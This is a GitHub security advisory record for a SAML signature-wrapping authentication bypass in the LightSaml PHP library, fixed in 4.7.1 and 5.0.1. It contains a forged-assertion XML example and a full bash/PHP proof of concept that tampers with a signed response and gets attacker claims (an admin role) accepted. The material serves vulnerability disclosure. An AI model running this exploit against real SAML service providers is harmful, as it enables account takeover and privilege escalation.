{"id":"GHSA-w553-pwx6-3mg9","summary":"lightsaml allows Signature wrapping bypass","details":"### Summary\n\nLightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound `samlp:Response` by collecting its direct-child `saml:Assertion` elements and validating each one's `ds:Signature` via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed `Reference URI=\"#id\"` with a document-wide `//*[@Id]` XPath that returns the first ID-bearing element anywhere in the document.\n\nAn attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.\n\n### Details\n\n`Response::deserialize` collects assertions with `manyElementsFromXml`, whose relative XPath `saml:Assertion` matches only direct children of the `Response`. Each collected assertion is validated independently by `AssertionSignatureValidatorAction` against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28\n\nThe check delegates to xmlseclibs `XMLSecurityDSig::validateReference()`, which first removes the signature node being validated from the shared document (enveloped-signature removal):\n\n```php\nif (! $docElem-\u003eisSameNode($this-\u003esigNode)) {\n    if ($this-\u003esigNode-\u003eparentNode != null) {\n        $this-\u003esigNode-\u003eparentNode-\u003eremoveChild($this-\u003esigNode);   // strips sig from shared DOM\n    }\n}\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596\n\n`processRefNode()` then resolves `URI=\"#id\"` document-wide and takes `item(0)`, the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:\n\n```php\n$query = '//*['.$iDlist.']';\n$dataObject = $xPath-\u003equery($query)-\u003eitem(0);\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525\n\nSo the digest target xmlseclibs picks (`//*[@Id]` item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288\n\nAn example attacker buries the genuine signed bytes (the assertion with its `ds:Signature` element stripped) inside `samlp:Extensions`, so it is the first `@Id` element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same `ID`, attacker claims, and a verbatim copy of the genuine `ds:Signature`:\n\n```xml\n\u003csamlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n  \u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\n\n  \u003c!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),\n       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the\n       enveloped+exc-c14n digest target is the assertion sans Signature. --\u003e\n  \u003csamlp:Extensions\u003e\n    \u003csaml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n      \u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\n      \u003csaml:Subject\u003e\u003csaml:NameID\u003ealice@example.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\n      \u003csaml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/\u003e\n      \u003csaml:AttributeStatement\u003e\u003csaml:Attribute Name=\"role\"\u003e\u003csaml:AttributeValue\u003euser\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u003c/saml:AttributeStatement\u003e\n    \u003c/saml:Assertion\u003e\n  \u003c/samlp:Extensions\u003e\n\n  \u003c!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,\n       verbatim copy of the genuine ds:Signature. --\u003e\n  \u003csaml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n    \u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\n    \u003cds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"\u003e ...byte-for-byte copy of the genuine signature... \u003c/ds:Signature\u003e\n    \u003csaml:Subject\u003e\u003csaml:NameID\u003eattacker@evil.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\n    \u003csaml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/\u003e\n    \u003csaml:AttributeStatement\u003e\u003csaml:Attribute Name=\"role\"\u003e\u003csaml:AttributeValue\u003eadmin\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u003c/saml:AttributeStatement\u003e\n  \u003c/saml:Assertion\u003e\n\u003c/samlp:Response\u003e\n```\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nWORK=\"$(mktemp -d)\"; trap 'rm -rf \"$WORK\"' EXIT; cd \"$WORK\"\nIDP_ENTITY=\"https://idp.example.com\"; ASSERTION_ID=\"_signed_assertion\"\n\ncomposer require litesaml/lightsaml:5.0.0 --no-interaction --quiet\n\n# trusted IdP key + self-signed cert (out-of-band trust anchor)\nopenssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \\\n  -subj \"/CN=idp.example.com\" \u003e/dev/null 2\u003e&1\n\n# genuine Response with one to-be-signed assertion\ncat \u003e genuine_tmpl.xml \u003c\u003cXML\n\u003csamlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n                ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n  \u003csaml:Issuer\u003e${IDP_ENTITY}\u003c/saml:Issuer\u003e\n  \u003csaml:Assertion ID=\"${ASSERTION_ID}\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n    \u003csaml:Issuer\u003e${IDP_ENTITY}\u003c/saml:Issuer\u003e\n    \u003cds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"\u003e\n      \u003cds:SignedInfo\u003e\n        \u003cds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\n        \u003cds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"/\u003e\n        \u003cds:Reference URI=\"#${ASSERTION_ID}\"\u003e\n          \u003cds:Transforms\u003e\n            \u003cds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"/\u003e\n            \u003cds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\n          \u003c/ds:Transforms\u003e\n          \u003cds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"/\u003e\n          \u003cds:DigestValue\u003e\u003c/ds:DigestValue\u003e\n        \u003c/ds:Reference\u003e\n      \u003c/ds:SignedInfo\u003e\n      \u003cds:SignatureValue\u003e\u003c/ds:SignatureValue\u003e\n    \u003c/ds:Signature\u003e\n    \u003csaml:Subject\u003e\u003csaml:NameID\u003ealice@example.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\n    \u003csaml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/\u003e\n    \u003csaml:AttributeStatement\u003e\n      \u003csaml:Attribute Name=\"role\"\u003e\u003csaml:AttributeValue\u003euser\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\n    \u003c/saml:AttributeStatement\u003e\n  \u003c/saml:Assertion\u003e\n\u003c/samlp:Response\u003e\nXML\n\n# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)\nxmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \\\n  --id-attr:ID \"urn:oasis:names:tc:SAML:2.0:assertion:Assertion\" \\\n  --output genuine_signed.xml genuine_tmpl.xml \u003e/dev/null\n\n# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,\n# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine\n# signature + attacker claims.\nphp -r '\n$doc = new DOMDocument(); $doc-\u003eload(\"genuine_signed.xml\");\n$xp = new DOMXPath($doc);\n$xp-\u003eregisterNamespace(\"saml\",\"urn:oasis:names:tc:SAML:2.0:assertion\");\n$xp-\u003eregisterNamespace(\"ds\",\"http://www.w3.org/2000/09/xmldsig#\");\n$resp = $doc-\u003edocumentElement;\n$genuine = $xp-\u003equery(\"//saml:Assertion[@ID=\\\"_signed_assertion\\\"]\")-\u003eitem(0);\n$copiedSig = $doc-\u003esaveXML($xp-\u003equery(\"./ds:Signature\", $genuine)-\u003eitem(0));\n\n// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)\n$buried = $genuine-\u003ecloneNode(true);\n$buried-\u003eremoveChild($xp-\u003equery(\"./ds:Signature\", $buried)-\u003eitem(0));\n\n// forged = copied signature + attacker claims (the only direct-child assertion)\n$forged =\n  \"\u003csaml:Assertion xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_signed_assertion\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2024-01-01T00:00:00Z\\\"\u003e\"\n  .\"\u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\".$copiedSig\n  .\"\u003csaml:Subject\u003e\u003csaml:NameID\u003eattacker@evil.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\"\n  .\"\u003csaml:Conditions NotBefore=\\\"2040-01-01T00:00:00Z\\\" NotOnOrAfter=\\\"2041-01-01T00:00:00Z\\\"/\u003e\"\n  .\"\u003csaml:AttributeStatement\u003e\u003csaml:Attribute Name=\\\"role\\\"\u003e\u003csaml:AttributeValue\u003eadmin\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u003c/saml:AttributeStatement\u003e\"\n  .\"\u003c/saml:Assertion\u003e\";\n$frag = $doc-\u003ecreateDocumentFragment(); $frag-\u003eappendXML($forged);\n\n// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after\n$ext = $doc-\u003ecreateElementNS(\"urn:oasis:names:tc:SAML:2.0:protocol\",\"samlp:Extensions\");\n$ext-\u003eappendChild($buried);\n$resp-\u003ereplaceChild($ext, $genuine);\n$resp-\u003eappendChild($frag);\nfile_put_contents(\"tampered.xml\", $doc-\u003esaveXML());\n'\n\n# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true\ncat \u003e consumer.php \u003c\u003c'PHP'\n\u003c?php\nrequire __DIR__ . '/vendor/autoload.php';\nuse LightSaml\\Action\\Assertion\\Inbound\\AssertionSignatureValidatorAction;\nuse LightSaml\\Context\\Profile\\{AssertionContext, ProfileContext};\nuse LightSaml\\Credential\\{UsageType, X509Certificate, X509Credential};\nuse LightSaml\\Context\\Model\\DeserializationContext;   // moved from Model\\Context in 5.0.0\nuse LightSaml\\Model\\Protocol\\SamlMessage;\nuse LightSaml\\Resolver\\Credential\\Factory\\CredentialResolverFactory;\nuse LightSaml\\Store\\Credential\\StaticCredentialStore;\nuse LightSaml\\Validator\\Model\\Signature\\SignatureValidator;\nuse Psr\\Log\\NullLogger;\n\n[$_, $xmlPath, $certPath, $idpEntityId] = $argv;\n$x509 = new X509Certificate(); $x509-\u003eloadPem(file_get_contents($certPath));   // pinned trust anchor\n$cred = new X509Credential($x509); $cred-\u003esetEntityId($idpEntityId); $cred-\u003esetUsageType(UsageType::SIGNING);\n$store = new StaticCredentialStore(); $store-\u003eadd($cred);\n$validator = new SignatureValidator((new CredentialResolverFactory($store))-\u003ebuild());\n$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true\n\n$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());\n$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);\n$bypass = false;\necho \"assertions LightSaml collected: \" . count($message-\u003egetAllAssertions()) . \"\\n\";\nforeach ($message-\u003egetAllAssertions() as $i =\u003e $a) {\n    $nameId = ($a-\u003egetSubject() && $a-\u003egetSubject()-\u003egetNameID()) ? $a-\u003egetSubject()-\u003egetNameID()-\u003egetValue() : '(none)';\n    $attrs = [];\n    foreach ($a-\u003egetAllAttributeStatements() as $s) foreach ($s-\u003egetAllAttributes() as $at)\n        $attrs[$at-\u003egetName()] = implode(',', array_map(fn($v) =\u003e (string)$v, $at-\u003egetAllAttributeValues()));\n    echo \"ASSERTION #$i  NameID=$nameId  Attributes=\".json_encode($attrs).\"\\n\";\n    $ctx = new AssertionContext(); $ctx-\u003esetAssertion($a); $ctx-\u003esetParent($profile);\n    try { $action-\u003eexecute($ctx); $r = 'ACCEPTED'; } catch (\\Throwable $e) { $r = 'REJECTED: '.$e-\u003egetMessage(); }\n    echo \"  LightSaml validation: $r\\n\";\n    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {\n        $bypass = true; echo \"  \u003e\u003e\u003e BYPASS: forged assertion validated AND attacker claims surfaced\\n\";\n    }\n}\necho $bypass ? \"RESULT: BYPASS CONFIRMED\\n\" : \"RESULT: no bypass\\n\";\nexit($bypass ? 0 : 1);\nPHP\n\nphp consumer.php tampered.xml idp_cert.pem \"$IDP_ENTITY\"\n```\n\nObserved output:\n\n```\nassertions LightSaml collected: 1\nASSERTION #0  NameID=attacker@evil.com  Attributes={\"role\":\"admin\"}\n  LightSaml validation: ACCEPTED\n  \u003e\u003e\u003e BYPASS: forged assertion validated AND attacker claims surfaced\nRESULT: BYPASS CONFIRMED\n```\n\n### Impact\n\nAuthentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.","aliases":["CVE-2026-63182"],"modified":"2026-11-16T22:15:05.631069151Z","published":"2026-11-16T22:08:38Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-16T22:08:38Z","nvd_published_at":"2026-10-30T22:16:58Z","cwe_ids":["CWE-347"]},"references":[{"type":"WEB","url":"https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63182"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/pull/113"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/pull/122"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00"},{"type":"PACKAGE","url":"https://github.com/litesaml/lightsaml"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/releases/tag/4.7.1"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/releases/tag/5.0.1"}],"affected":[{"package":{"name":"litesaml/lightsaml","ecosystem":"Packagist","purl":"pkg:composer/litesaml/lightsaml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"5.0.1"}]}],"versions":["5.0.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w553-pwx6-3mg9/GHSA-w553-pwx6-3mg9.json"}},{"package":{"name":"litesaml/lightsaml","ecosystem":"Packagist","purl":"pkg:composer/litesaml/lightsaml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.7.1"}]}],"versions":["4.0.0","4.2.1","4.2.2","4.3.0","4.3.1","4.3.2","4.4.0","4.5.0","4.5.1","4.6.0","4.6.1","4.7.0","v4.0.1","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.0.7","v4.0.8","v4.0.9","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.1.6","v4.2.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w553-pwx6-3mg9/GHSA-w553-pwx6-3mg9.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]}